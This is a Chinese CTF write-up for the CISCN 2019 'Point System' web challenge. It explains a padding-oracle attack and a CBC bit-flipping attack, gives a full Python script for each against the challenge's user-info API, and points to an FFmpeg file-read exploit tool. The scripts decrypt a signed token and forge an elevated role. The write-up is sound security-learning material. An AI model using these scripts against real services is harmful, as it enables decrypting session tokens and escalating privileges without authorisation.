刷题记录：[CISCN2019 东北赛区 Day2 Web3]Point System
题目复现链接：https://buuoj.cn/challenges
参考链接：CISCN 2019 东北赛区 Day2 Web3 WriteUp
Padding Oracle Attack
拖了一个星期的一道题。。。真难
知识点
1、padding-oracle attack
Padding oracle attack详细解析
具体原理不说了，网上很多，我的理解就是：cbc模式的填充方式已知，我们可以构造密文中的填充，利用服务器对cbc模式解密失败和解密成功但是信息不符合两种情况处理结果的不同，从后往前一位一位爆破出一组明文，再修改这组明文来爆破下一组明文。
利用条件：
- 攻击者能获得密文以及IV
- 攻击者能够触发密文的触发过程，且能够知道密文的解密结果
以下是我在赵师傅脚本基础上写的python3脚本，踩了不少坑，尤其是byte和str类型，python2中不显式区分byte和str，但是python3中两种类型完全不能混为一谈
import time
import requests
import base64
import json
host = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com"
port = 82
def padding_oracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
signed_key_decoded = base64.b64decode(signed_key)
#print(signed_key_decoded)
url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"
#print(signed_key_decoded)
# b'ICxkSingDanceRaPYxacxad>xe4h]xd0[xfa(_xb5*N(&xc8xc62xd1x06>Mxe2xb7xdaLEzx8cdxfdx8exb2xdex19xbfx84x15xbex88xb8xae*xfbx0c)#xbeTxf0x89x14x8excex96xb4xbfx1aVxbcUx98ns;xf9xfbxcbxf7Zxb0x88x1cxd4xa6Dxd2xa5x00^x03xbdx1exa5xd1x19Tf=3gxcdxd7x88'
# print(len(signed_key_decoded))
# 112/16=7
N = 16
total_plain = ''
for block in range(0, len(signed_key_decoded) // 16 - 1):
token = ''
get = b""
cipher = signed_key_decoded[16 + block * 16:32 + block * 16]
for i in range(1, N+1):
for j in range(0, 256):
time.sleep(0.1)
padding = b"".join([(get[n] ^ i).to_bytes(1, 'little') for n in range(len(get))])
c = b'x00' * (16 - i) + j.to_bytes(1, 'little') + padding + cipher
#print(c)
token = base64.b64encode(c)
user_key_json_decode['signed_key'] = token.decode("utf-8")
header = {'Key': base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))}
res = requests.get(url, headers=header)
#print(res.text, j)
if res.json()['code'] != 205:
get = (j ^ i).to_bytes(1, 'little') + get
print(get, i)
break
plain = b"".join([(get[i] ^ signed_key_decoded[block * 16 + i]).to_bytes(1, 'little') for i in range(N)])
print(plain.decode("utf-8"), "block=%d" % block)
total_plain += plain.decode("utf-8")
print(total_plain)
return total_plain
plain_text = padding_oracle(
"eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlpjV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVFjQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iOjE1NzA1MjU0MTB9")
print(plain_text)
爆出结果
2、cbc字节翻转攻击
CBC翻转攻击，了解一下！
这个不难理解，直接贴脚本了,同样是python3的
import time
import requests
import base64
import json
host = "0b940989-8cd4-4990-955c-62272a7ba9a5.node2.buuoj.cn.wetolink.com"
port = 82
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
#print(user_key_decode)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
#print(signed_key)
cipher_o = base64.b64decode(signed_key)
#print(cipher_o)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = b''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
#print(iv)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher).decode('utf-8')
return base64.b64encode(bytes(json.dumps(user_key_json_decode), "utf-8"))
def get_user_info(key):
r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers={"Key": key})
if r.json()['code'] == 100:
print("获取成功！")
return r.json()['data']
def modify_role_plain(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(bytes(json.dumps(user_key_json_decode), 'utf-8')).decode('utf-8')
user_key = cbc_attack(
"eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVS
HNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4Lysx
WldiMU1CUTNxVEplL2lGcExsbTlUNGxFQkZrOFNmQ1lvRW96MTdMQlp
jV25VOS92WkxuMHBiVVliakF3RUJqV0s1ZldXb3ZIeG1JRG9wRHFHTVF
jQ0tBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiMVU1
Rm0zWGk3VE12dllGaFZxQkluVWZ2MGJxNEFpTWYiLCJleHBpcmVfaW4iO
jE1NzA1MjU0MTB9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_plain(user_key, 1)
print(user_key)
得到结果后修改cookie
3、FFMpeg文件读取漏洞
找到篇paperFFmpeg 安全问题讨论
差不多看看就行了。。。发现这种漏洞的是什么样的神仙啊
github上有工具https://github.com/neex/ffmpeg-avi-m3u-xbin
flag会被写进视频里
总结
buuctf的题好难。不谈知不知道这些漏洞，问题是看题目的时候怎么想到这里有这个漏洞的呢，尤其是这个视频处理，那个界面这么多选项，怎么就知道是视频处理有问题呢，真就“经验”呗